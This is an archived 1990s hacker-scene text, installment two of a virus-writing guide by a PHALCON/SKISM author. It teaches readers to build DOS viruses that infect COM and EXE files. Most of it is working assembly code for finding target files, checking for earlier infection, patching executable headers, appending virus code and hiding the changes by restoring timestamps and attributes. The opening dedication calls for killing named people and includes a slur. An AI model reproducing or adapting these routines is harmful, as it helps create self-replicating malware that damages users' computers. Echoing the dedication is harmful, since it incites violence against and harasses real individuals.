home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / ps_vir2.txt < prev    next >
Text File  |  1995-01-03  |  30KB  |  597 lines

  1.       //==//  //  //  /||      //      //====  //==//  //|   //
  2.      //  //  //  //  //||     //      //      //  //  //||  //
  3.     //==//  //==//  //=||    //      //      //  //  // || //
  4.    //      //  //  //  ||   //      //      //  //  //  ||//
  5.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  6.   
  7.      /====   // //     //  /====   /|   /|
  8.     //      // //     //  //      //|  //|
  9.     ===\   // //     //   ===\   //|| //||
  10.       //  //  \\    //      //  // ||// ||
  11.   ====/  //    \\  //   ====/  //  ||/  ||
  12.   
  13.   ──────────────────────────────────────────────
  14.   DISCLAIMER: Pretend you see a disclaimer here.
  15.     99.44% of the code guaranteed to work.
  16.   ──────────────────────────────────────────────
  17.   DEDICATION: Please try your best to kill those
  18.     who made this possible, especially that dumb
  19.     bitch who doesn't know her own name (Patty),
  20.     and her lover Ross M. Greenberg.
  21.   ──────────────────────────────────────────────
  22.   GREETS -N- STUFF: Greets go to all the members
  23.     of PHALCON/SKISM.  I wish to give buckets o'
  24.     thanks to Hellraiser, Garbageheap, and Demo-
  25.     gorgon.  No thanks this time to Orion Rouge,
  26.     the godly master of idiocy.
  27.   ──────────────────────────────────────────────
  28.   
  29.   Dark Angel's Chunky Virus Writing Guide
  30.   ──── ─────── ────── ───── ─────── ─────
  31.   
  32.   ───────────────────────────────
  33.   INSTALLMENT II:  THE REPLICATOR
  34.   ───────────────────────────────
  35.   
  36.   In the  last installment of my Virus Writing Guide, I explained the various
  37.   parts of  a virus  and went  into a  brief discussion  about each.  In this
  38.   issue, I  shall devote  all my  attention towards the replicator portion of
  39.   the virus.  I promised code and code I shall present.
  40.   
  41.   However, I  shall digress  for a moment because it has come to my attention
  42.   that some  mutant  copies  of  the  first  installment  were  inadvertently
  43.   released.   These copies  did not  contain a  vital section  concerning the
  44.   calculation of offsets.
  45.   
  46.   You never  know where  your variables  and code  are going  to wind  up  in
  47.   memory.   If you think a bit, this should be pretty obvious.  Since you are
  48.   attaching the  virus to  the end  of a  program, the  location in memory is
  49.   going to  be changed,  i.e. it  will be  larger by the size of the infected
  50.   program.   So, to  compensate, we  must take  the change in offset from the
  51.   original virus,  or the  delta offset,  and add  that to  all references to
  52.   variables.
  53.   
  54.   Instructions that  use displacement,  i.e. relative  offsets, need  not  be
  55.   changed.   These instructions are the JA, JB, JZ class of instructions, JMP
  56.   SHORT, JMP label, and CALL.  Thus, whenever possible use these in favor of,
  57.   say, JMP FAR PTR.
  58.   
  59.   Suppose in  the following  examples, si  is somehow  loaded with  the delta
  60.   offset.
  61.   
  62.   Replace
  63.     mov ax, counter
  64.   With
  65.     mov ax, word ptr [si+offset counter]
  66.   
  67.   Replace
  68.     mov dx, offset message
  69.   With
  70.     lea dx, [si+offset message]
  71.   
  72.   You may  be asking, "how the farg am I supposed to find the delta offset!?"
  73.   It is simple enough:
  74.   
  75.     call setup
  76.   setup:
  77.     pop  si
  78.     sub  si, offset setup
  79.   
  80.   An explanation  of the  above fragment  is in order.  CALL setup pushes the
  81.   location of the next instruction, i.e. offset setup, onto the stack.  Next,
  82.   this location  is POPed  into si.   Finally,  the ORIGINAL  offset of setup
  83.   (calculated at  compile-time) is  subtracted from  si, giving you the delta
  84.   offset.   In the  original virus,  the delta offset will be 0, i.e. the new
  85.   location of setup equals the old location of setup.
  86.   
  87.   It is  often preferable to use bp as your delta offset, since si is used in
  88.   string instructions.  Use whichever you like.  I'll randomly switch between
  89.   the two as suits my mood.
  90.   
  91.   Now back to the other stuff...
  92.   
  93.   A biological  virus is a parasitic "organism" which uses its host to spread
  94.   itself.   It must keep the host alive to keep itself "alive."  Only when it
  95.   has spread  everywhere will  the host  die a  painful, horrible death.  The
  96.   modern electronic  virus is  no different.   It  attaches itself  to a host
  97.   system and  reproduces until the entire system is fucked.  It then proceeds
  98.   and neatly wrecks the system of the dimwit who caught the virus.
  99.   
  100.   Replication is  what distinguishes  a virus  from a simple trojan.  Anybody
  101.   can write  a trojan,  but a  virus is  much more  elegant.   It acts almost
  102.   invisibly, and  catches the victim off-guard when it finally surfaces.  The
  103.   first question  is, of  course, how  does a virus spread?  Both COM and EXE
  104.   infections (along with sample infection routines) shall be presented.
  105.   
  106.   There are  two major  approaches to  virii: runtime and TSR.  Runtime virii
  107.   infect, yup,  you guessed  it, when  the infected program is run, while TSR
  108.   virii go  resident  when  the  infected  programs  are  run  and  hook  the
  109.   interrupts and  infect when  a file  is  run,  open,  closed,  and/or  upon
  110.   termination (i.e.  INT  20h,  INT  21h/41h).    There  are  advantages  and
  111.   disadvantages to  each.   Runtime virii  are harder to detect as they don't
  112.   show up on memory maps, but, on the other hand, the delay while it searches
  113.   for and  infects a file may give it away.  TSR virii, if not properly done,
  114.   can be  easily spotted  by utilities such as MAPMEM, PMAP, etc, but are, in
  115.   general, smaller  since they  don't need  a function to search for files to
  116.   infect.   They are  also faster than runtime virii, also because they don't
  117.   have to  search for files to infect.  I shall cover runtime virii here, and
  118.   TSR virii in a later installment.
  119.   
  120.   Here is a summary of the infection procedure:
  121.        1) Find a file to infect.
  122.        2) Check if it meets the infection criteria.
  123.        3) See if it is already infected and if so, go back to 1.
  124.        4) Otherwise, infect the file.
  125.        5) Cover your tracks.
  126.   
  127.   I shall  go through  each of  these steps and present sample code for each.
  128.   Note that  although a  complete virus  can be  built from  the  information
  129.   below, you  cannot merely  rip the  code out  and stick it together, as the
  130.   fragments are  from various  different virii that I have written.  You must
  131.   be somewhat  familiar with assembly.  I present code fragments; it is up to
  132.   you to either use them as examples or modify them for your own virii.
  133.   
  134.   ──────────────────────────────
  135.   STEP 1 - FIND A FILE TO INFECT
  136.   ──────────────────────────────
  137.   Before you  can infect  a file,  you have  to find it first!  This can be a
  138.   bottleneck in  the performance  of the  virus, so  it  should  be  done  as
  139.   efficiently as possible.  For runtime virii, there are a few possibilities.
  140.   You could  infect files in only the current directory, or you could write a
  141.   directory traversal function to infect files in ALL directories (only a few
  142.   files per  run, of  course), or you could infect files in only a few select
  143.   directories.   Why would  you choose  to only  infect files  in the current
  144.   directory?   It would  appear to  limit the  efficacy  of  the  infections.
  145.   However, this  is done  in some  virii either  to speed  up the virus or to
  146.   shorten the code size.
  147.   
  148.   Here is a directory traversal function.  It uses recursion, so it is rather
  149.   slow, but it does the job.  This was excerpted with some modifications from
  150.   The Funky Bob Ross Virus [Beta].
  151.   
  152.   traverse_fcn proc    near
  153.           push    bp                      ; Create stack frame
  154.           mov     bp,sp
  155.           sub     sp,44                   ; Allocate space for DTA
  156.   
  157.           call    infect_directory        ; Go to search & destroy routines
  158.   
  159.           mov     ah,1Ah                  ;Set DTA
  160.           lea     dx,word ptr [bp-44]     ; to space allotted
  161.           int     21h                     ;Do it now!
  162.   
  163.           mov     ah, 4Eh                 ;Find first
  164.           mov     cx,16                   ;Directory mask
  165.           lea     dx,[si+offset dir_mask] ; *.*
  166.           int     21h
  167.           jmp     short isdirok
  168.   gonow:
  169.           cmp     byte ptr [bp-14], '.'   ; Is first char == '.'?
  170.           je      short donext            ; If so, loop again
  171.           lea     dx,word ptr [bp-14]     ; else load dirname
  172.           mov     ah,3Bh                  ; and changedir there
  173.           int     21h
  174.           jc      short donext              ; Do next if invalid
  175.           inc     word ptr [si+offset nest] ; nest++
  176.           call    near ptr traverse_fcn     ; recurse directory
  177.   donext:
  178.           lea     dx,word ptr [bp-44]     ; Load space allocated for DTA
  179.           mov     ah,1Ah                  ; and set DTA to this new area
  180.           int     21h                     ; 'cause it might have changed
  181.   
  182.           mov     ah,4Fh                  ;Find next
  183.           int     21h
  184.   isdirok:
  185.           jnc     gonow                   ; If OK, jmp elsewhere
  186.           cmp     word ptr [si+offset nest], 0 ; If root directory
  187.                                                ;  (nest == 0)
  188.           jle     short cleanup                ; then Quit
  189.           dec     word ptr [si+offset nest]    ; Else decrement nest
  190.           lea     dx, [si+offset back_dir]; '..'
  191.           mov     ah,3Bh                  ; Change directory
  192.           int     21h                     ; to previous one
  193.   cleanup:
  194.           mov     sp,bp
  195.           pop     bp
  196.           ret
  197.   traverse_fcn endp
  198.   
  199.   ; Variables
  200.   nest     dw     0
  201.   back_dir db     '..',0
  202.   dir_mask db     '*.*',0
  203.   
  204.   The code  is self-explanatory.   Make  sure  you  have  a  function  called
  205.   infect_directory which scans the directory for possible files to infect and
  206.   makes sure  it doesn't  infect already-infected  files.   This function, in
  207.   turn, calls infect_file which infects the file.
  208.   
  209.   Note, as  I said  before, this  is slow.   A  quicker method, albeit not as
  210.   global, is  the "dot  dot" method.   Hellraiser  showed me this neat little
  211.   trick.   Basically, you  keep searching  each directory and, if you haven't
  212.   infected enough,  go to the previous directory (dot dot) and try again, and
  213.   so on.  The code is simple.
  214.   
  215.   dir_loopy:
  216.           call    infect_directory
  217.           lea     dx, [bp+dotdot]
  218.           mov     ah, 3bh                 ; CHDIR
  219.           int     21h
  220.           jnc     dir_loopy               ; Carry set if in root
  221.   
  222.   ; Variables
  223.   dotdot  db      '..',0
  224.   
  225.   Now you  must find a file to infect.  This is done (in the fragments above)
  226.   by a  function called infect_directory.  This function  calls FINDFIRST and
  227.   FINDNEXT a  couple of  times to find files to infect.  You should first set
  228.   up a  new DTA.  NEVER use the DTA in the PSP (at 80h) because altering that
  229.   will affect  the command-line  parameters  of  the  infected  program  when
  230.   control is returned to it.  This is easily done with the following:
  231.   
  232.           mov     ah, 1Ah                 ; Set DTA
  233.           lea     dx, [bp+offset DTA]     ; to variable called DTA (wow!)
  234.           int     21h
  235.   
  236.   Where DTA  is a 42-byte chunk of memory.  Next, issue a series of FINDFIRST
  237.   and FINDNEXT calls:
  238.   
  239.           mov     ah, 4Eh                 ; Find first file
  240.           mov     cx, 0007h               ; Any file attribute
  241.           lea    dx, [bp+offset file_mask]; DS:[DX] --> filemask
  242.           int     21h
  243.           jc      none_found
  244.   found_another:
  245.           call    check_infection
  246.           mov     ah, 4Fh                 ; Find next file
  247.           int     21h
  248.           jnc     found_another
  249.   none_found:
  250.   
  251.   Where file_mask  is DBed  to either '*.EXE',0 or '*.COM',0.  Alternatively,
  252.   you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.
  253.   
  254.   ────────────────────────────────────────
  255.   STEP 2 - CHECK VERSUS INFECTION CRITERIA
  256.   ────────────────────────────────────────
  257.   Your virus  should be  judicious in  its infection.  For example, you might
  258.   not want  to  infect  COMMAND.COM,  since  some  programs  (i.e.  the  puny
  259.   FluShot+) check its CRC or checksum on runtime.  Perhaps you do not wish to
  260.   infect the  first valid file in the directory.  Ambulance Car is an example
  261.   of such  a virus.   Regardless,  if there  is some  infection criteria, you
  262.   should check  for it  now.   Here's example  code checking  if the last two
  263.   letters are 'ND', a simple check for COMMAND.COM:
  264.   
  265.           cmp     word ptr [bp+offset DTA+35], 'DN'  ; Reverse word order
  266.           jz      fail_check
  267.   
  268.   ─────────────────────────────────────
  269.   STEP 3 - CHECK FOR PREVIOUS INFECTION
  270.   ─────────────────────────────────────
  271.   Every virus has certain characteristics with which you can identify whether
  272.   a file  is infected  already.   For example,  a certain  piece of  code may
  273.   always occur  in a  predictable place.   Or  perhaps the JMP instruction is
  274.   always coded  in the  same manner.   Regardless,  you should make sure your
  275.   virus has  a marker  so that  multiple infections  of the  same file do not
  276.   occur.  Here's an example of one such check (for a COM file infector):
  277.   
  278.           mov     ah,3Fh                          ; Read first three
  279.           mov     cx, 3                           ; bytes of the file
  280.           lea     dx, [bp+offset buffer]          ; to the buffer
  281.           int     21h
  282.   
  283.           mov     ax, 4202h                       ; SEEK from EOF
  284.           xor     cx, cx                          ; DX:CX = offset
  285.           xor     dx, dx                          ; Returns filesize
  286.           int     21h                             ; in DX:AX
  287.   
  288.           sub     ax, virus_size + 3
  289.           cmp     word ptr [bp+offset buffer+1], ax
  290.           jnz     infect_it
  291.   
  292.   bomb_out:
  293.           mov     ah, 3Eh                         ; else close the file
  294.           int     21h                             ;  and go find another
  295.   
  296.   In this  example, BX  is assumed to hold a file handle to the program to be
  297.   checked for  infection and virus_size equals the size of the virus.  Buffer
  298.   is assumed  to be  a three-byte  area of  empty space.   This code fragment
  299.   reads the  first three bytes into buffer and then compares the JMP location
  300.   (located in  the word  beginning at  buffer+1) to  the filesize  If the JMP
  301.   points to  virus_size bytes  before the  EOF,  then  the  file  is  already
  302.   infected with  this virus.   Another method would be to search at a certain
  303.   location in the file for a marker byte or word.  For example:
  304.   
  305.           mov     ah, 3Fh                         ; Read the first four
  306.           mov     cx, 4                           ; bytes of the file into
  307.           lea     dx, [bp+offset buffer]          ; the buffer.
  308.           int     21h
  309.   
  310.           cmp     byte ptr [buffer+3], infection_id_byte ; Check the fourth
  311.           jz      bomb_out                        ; byte for the marker
  312.   infect_it:
  313.   
  314.   ────────────────────────
  315.   STEP 4 - INFECT THE FILE
  316.   ────────────────────────
  317.   This is  the "guts"  of the  virus, the  heart of the replicator.  Once you
  318.   have located  a potential  file, you  must save the attributes, time, date,
  319.   and size for later use.  The following is a breakdown of the DTA:
  320.   
  321.     Offset     Size      What it is
  322.       0h       21 BYTES  Reserved, varies as per DOS version
  323.      15h       BYTE      File attribute
  324.      16h       WORD      File time
  325.      18h       WORD      File date
  326.      1Ah       DWORD     File size
  327.      1Eh       13 BYTES  ASCIIZ filename + extension
  328.   
  329.   As you can see, the DTA holds all the vital information about the file that
  330.   you need.  The following code fragment is a sample of how to save the info:
  331.   
  332.           lea  si, [bp+offset DTA+15h]            ; Start from attributes
  333.           mov  cx, 9                              ; Finish with size
  334.           lea  di, [bp+offset f_attr]             ; Move into your locations
  335.           rep  movsb
  336.   ; Variables needed
  337.   f_attr  db   ?
  338.   f_time  dw   ?
  339.   f_date  dw   ?
  340.   f_size  dd   ?
  341.   
  342.   You can  now change the file attributes to nothing through INT 21h/Function
  343.   43h/Subfunction 01h.   This  is to  allow infection  of system, hidden, and
  344.   read only  files.   Only primitive  (or minimal)  virii cannot  handle such
  345.   files.
  346.   
  347.           lea  dx, [bp+offset DTA+1eh]            ; DX points to filename in
  348.           mov  ax, 4301h                          ; DTA
  349.           xor  cx, cx                             ; Clear file attributes
  350.           int  21h                                ; Issue the call
  351.   
  352.   Once the  attributes have  been annihilated,  you may  open the  file  with
  353.   callous impunity.  Use a handle open in read/write mode.
  354.   
  355.           lea  dx, [bp+offset DTA+1eh]            ; Use filename in DTA
  356.           mov  ax, 3d02h                          ; Open read/write mode
  357.           int  21h                                ; duh.
  358.           xchg ax, bx                             ; Handle is more useful in
  359.                                                   ; BX
  360.   
  361.   Now we come to the part you've all been waiting for: the infection routine.
  362.   I am  pleased to present code which will handle the infection of COM files.
  363.   Yawn, you  say, I can already do that with the information presented in the
  364.   previous installment.   Ah,  but there  is more,  much more.   A sample EXE
  365.   infector shall also be presented shortly.
  366.   
  367.   The theory  behind COM  file infection was covered in the last installment,
  368.   so I shall not delve into the details again.  Here is a sample infector:
  369.   
  370.   ; Sample COM infector.  Assumes BX holds the file handle
  371.   ; Assume COM file passes infection criteria and not already infected
  372.           mov     ah, 3fh
  373.           lea     dx, [bp+buffer1]
  374.           mov     cx, 3
  375.           int     21h
  376.   
  377.           mov     ax, 4200h                       ; Move file pointer to
  378.           xor     cx, cx                          ; the beginning of the
  379.           xor     dx, dx                          ; file
  380.           int     21h
  381.   
  382.           mov     byte ptr [bp+buffer2], 0e9h      ; JMP
  383.           mov     ax, word ptr [bp+f_size]
  384.           sub     ax, part1_size                   ; Usually 3
  385.           mov     word ptr [bp+buffer2+1], ax      ; offset of JMP
  386.   
  387.   ; Encode JMP instruction to replace beginning of the file
  388.           mov     byte ptr [bp+buffer2], 0e9h      ; JMP
  389.           mov     ax, word ptr [bp+f_size]
  390.           sub     ax, part1_size                   ; Usually 3
  391.           mov     word ptr [bp+buffer2+1], ax      ; offset of JMP
  392.   
  393.   ; Write the JMP instruction to the beginning of the file
  394.           mov     ah, 40h                          ; Write CX bytes to
  395.           mov     cx, 3                            ; handle in BX from
  396.           lea     dx, [bp+buffer2]                 ; buffer -> DS:[DX]
  397.           int     21h
  398.   
  399.           mov     ax, 4202h                        ; Move file pointer to
  400.           xor     cx, cx                           ; end of file
  401.           xor     dx, dx
  402.           int     21h
  403.   
  404.           mov     ah, 40h                          ; Write CX bytes
  405.           mov     cx, endofvirus - startofpart2    ; Effective size of virus
  406.           lea     dx, [bp+startofpart2]            ; Begin write at start
  407.           int     21h
  408.   
  409.   ; Variables
  410.   buffer1 db 3 dup (?)                             ; Saved bytes from the
  411.                                                    ; infected file to restore
  412.                                                    ; later
  413.   buffer2 db 3 dup (?)                             ; Temp buffer
  414.   
  415.   After some  examination, this code will prove to be easy to understand.  It
  416.   starts by reading the first three bytes into a buffer.  Note that you could
  417.   have done  this in  an earlier  step, such  as when  you are checking for a
  418.   previous infection.   If  you have  already done  this, you obviously don't
  419.   need to  do it again.  This buffer must be stored in the virus so it can be
  420.   restored later when the code is executed.
  421.   
  422.   EXE infections  are also  simple, although  a  bit  harder  to  understand.
  423.   First, the thoery.  Here is the format of the EXE header:
  424.   
  425.    Ofs Name                Size      Comments
  426.    00  Signature           2 bytes   always 4Dh 5Ah (MZ)
  427.   *02  Last Page Size      1 word    number of bytes in last page
  428.   *04  File Pages          1 word    number of 512 byte pages
  429.    06  Reloc Items         1 word    number of entries in table
  430.    08  Header Paras        1 word    size of header in 16 byte paras
  431.    0A  MinAlloc            1 word    minimum memory required in paras
  432.    0C  MaxAlloc            1 word    maximum memory wanted in paras
  433.   *0E  PreReloc SS         1 word    offset in paras to stack segment
  434.   *10  Initial SP          1 word    starting SP value
  435.    12  Negative checksum   1 word    currently ignored
  436.   *14  Pre Reloc IP        1 word    execution start address
  437.   *16  Pre Reloc CS        1 word    preadjusted start segment
  438.    18  Reloc table offset  1 word    is offset from start of file)
  439.    1A  Overlay number      1 word    ignored if not overlay
  440.    1C  Reserved/unused     2 words
  441.   * denotes bytes which should be changed by the virus
  442.   
  443.   To understand  this, you  must first  realise that EXE files are structured
  444.   into segments.  These segments may begin and end anywhere.  All you have to
  445.   do to  infect an EXE file is tack on your code to the end.  It will then be
  446.   in its  own segment.  Now all you have to do is make the virus code execute
  447.   before the  program code.   Unlike  COM  infections,  no  program  code  is
  448.   overwritten, although  the header  is modified.   Note  the virus can still
  449.   have the  V1/V2 structure,  but only V2 needs to be concatenated to the end
  450.   of the infected EXE file.
  451.   
  452.   Offset 4  (File Pages)  holds the  size of the file divided by 512, rounded
  453.   up.   Offset 2 holds the size of the file modulo 512.  Offset 0Eh holds the
  454.   paragraph displacement  (relative to  the end of the header) of the initial
  455.   stack segment  and Offset 10h holds the displacement (relative to the start
  456.   of the  stack segment)  of the initial stack pointer.  Offset 16h holds the
  457.   paragraph displacement of the entry point relative to the end of the header
  458.   and offset  14h holds the displacement entry point relative to the start of
  459.   the entry  segment.   Offset 14h  and 16h are the key to adding the startup
  460.   code (the virus) to the file.
  461.   
  462.   Before you  infect the  file, you  should save the CS:IP and SS:SP found in
  463.   the EXE  header, as  you need  to restore  them upon  execution.  Note that
  464.   SS:SP is NOT stored in Intel reverse-double-word format.  If you don't know
  465.   what I'm  talking about, don't worry; it's only for very picky people.  You
  466.   should also save the file length as you will need to use that value several
  467.   times during  the infection  routine.   Now it's  time  to  calculate  some
  468.   offsets!   To find  the new  CS:IP and  SS:SP, use  the following code.  It
  469.   assumes the file size is loaded in DX:AX.
  470.   
  471.           mov     bx, word ptr [bp+ExeHead+8]    ; Header size in paragraphs
  472.                ;  ^---make sure you don't destroy the file handle
  473.           mov     cl, 4                          ; Multiply by 16.  Won't
  474.           shl     bx, cl                         ; work with headers > 4096
  475.                                                  ; bytes.  Oh well!
  476.           sub     ax, bx                         ; Subtract header size from
  477.           sbb     dx, 0                          ; file size
  478.     ; Now DX:AX is loaded with file size minus header size
  479.           mov     cx, 10h                        ; DX:AX/CX = AX Remainder DX
  480.           div     cx
  481.   
  482.   This code  is rather inefficient.  It would probably be easier to divide by
  483.   16 first  and then perform a straight subtraction from AX, but this happens
  484.   to be  the code  I chose.   Such is life. However, this code does have some
  485.   advantages over  the more  efficient one.   With this, you are certain that
  486.   the IP  (in DX)  will be under 15.  This allows the stack to be in the same
  487.   segment as the entry point, as long as the stack pointer is a large number.
  488.   
  489.   Now AX*16+DX  points to  the end  of code.  If the virus begins immediately
  490.   after the  end of the code, AX and DX can be used as the initial CS and IP,
  491.   respectively.   However, if  the virus  has some junk (code or data) before
  492.   the entry  point, add the entry point displacement to DX (no ADC with AX is
  493.   necessary since DX will always be small).
  494.   
  495.           mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset
  496.           mov     word ptr [bp+ExeHead+16h], ax  ; CS Displacement in module
  497.   
  498.   The SP  and SS  can now  be calculated.   The  SS is  equal to the CS.  The
  499.   actual value  of the SP is irrelevant, as long as it is large enough so the
  500.   stack will  not overwrite code (remember: the stack grows downwards).  As a
  501.   general rule,  make sure the SP is at least 100 bytes larger than the virus
  502.   size.  This should be sufficient to avoid problems.
  503.   
  504.           mov     word ptr [bp+ExeHead+0Eh], ax  ; Paragraph disp. SS
  505.           mov     word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
  506.   
  507.   All that  is left  to fiddle  in the  header is the file size.  Restore the
  508.   original file  size from  wherever you  saved it  to DX:AX.   To  calculate
  509.   DX:AX/512 and DX:AX MOD 512, use the following code:
  510.   
  511.           mov     cl, 9                           ; Use shifts again for
  512.           ror     dx, cl                          ; division
  513.           push    ax                              ; Need to use AX again
  514.           shr     ax, cl
  515.           adc     dx, ax                          ; pages in dx
  516.           pop     ax
  517.           and     ah, 1                           ; mod 512 in ax
  518.   
  519.           mov     word ptr [bp+ExeHead+4], dx     ; Fix-up the file size in
  520.           mov     word ptr [bp+ExeHead+2], ax     ; the EXE header.
  521.   
  522.   All that is left is writing back the EXE header and concatenating the virus
  523.   to the end of the file.  You want code?  You get code.
  524.   
  525.           mov     ah, 3fh                         ; BX holds handle
  526.           mov     cx, 18h                         ; Don't need entire header
  527.           lea     dx, [bp+ExeHead]
  528.           int     21h
  529.   
  530.           call    infectexe
  531.   
  532.           mov     ax, 4200h                       ; Rewind to beginning of
  533.           xor     cx, cx                          ; file
  534.           xor     dx, dx
  535.           int     21h
  536.   
  537.           mov     ah, 40h                         ; Write header back
  538.           mov     cx, 18h
  539.           lea     dx, [bp+ExeHead]
  540.           int     21h
  541.   
  542.           mov     ax, 4202h                       ; Go to end of file
  543.           xor     cx, cx
  544.           xor     dx, dx
  545.           int     21h
  546.   
  547.           mov     ah, 40h                         ; Note: Only need to write
  548.           mov     cx, part2size                   ;       part 2 of the virus
  549.           lea     dx, [bp+offset part2start]      ;      (Parts of virus
  550.           int     21h                             ;       defined in first
  551.                                                   ;       installment of
  552.                                                   ;       the guide)
  553.   
  554.   Note that this code alone is not sufficient to write a COM or EXE infector.
  555.   Code is also needed to transfer control back to the parent program.  The
  556.   information needed to do this shall be presented in the next installment.
  557.   In the meantime, you can try to figure it out on your own; just remember
  558.   that you must restore all that you changed.
  559.   
  560.   ──────────────────────────
  561.   STEP 5 - COVER YOUR TRACKS
  562.   ──────────────────────────
  563.   This step,  though simple  to do, is too easily neglected.  It is extremely
  564.   important, as a wary user will be alerted to the presence of a virus by any
  565.   unnecessary updates  to a  file.   In its  simplest form,  it involves  the
  566.   restoration of   file  attributes, time  and date.   This  is done with the
  567.   following:
  568.   
  569.           mov     ax, 5701h                      ; Set file time/date
  570.           mov     dx, word ptr [bp+f_date]       ; DX = date
  571.           mov     cx, word ptr [bp+f_time]       ; CX = time
  572.           int     21h
  573.   
  574.           mov     ah, 3eh                        ; Handle close file
  575.           int     21h
  576.   
  577.           mov     ax, 4301h                      ; Set attributes
  578.           lea     dx, [bp+offset DTA + 1Eh]      ; Filename still in DTA
  579.           xor     ch, ch
  580.           mov     cl, byte ptr [bp+f_attrib]     ; Attribute in CX
  581.           int     21h
  582.   
  583.   Remember also to restore the directory back to the original one if it
  584.   changed during the run of the virus.
  585.   
  586.   ──────────────
  587.   WHAT'S TO COME
  588.   ──────────────
  589.   I have been pleased with the tremendous response to the last installment of
  590.   the guide.   Next  time, I  shall cover  the rest  of the  virus as well as
  591.   various tips  and common tricks helpful in writing virii.  Until then, make
  592.   sure you  look for  40Hex, the  official PHALCON/SKISM  magazine, where  we
  593.   share tips and information pertinent to the virus community.
  594.   
  595.  
  596. Downloaded From P-80 International Information Systems 304-744-2253
  597.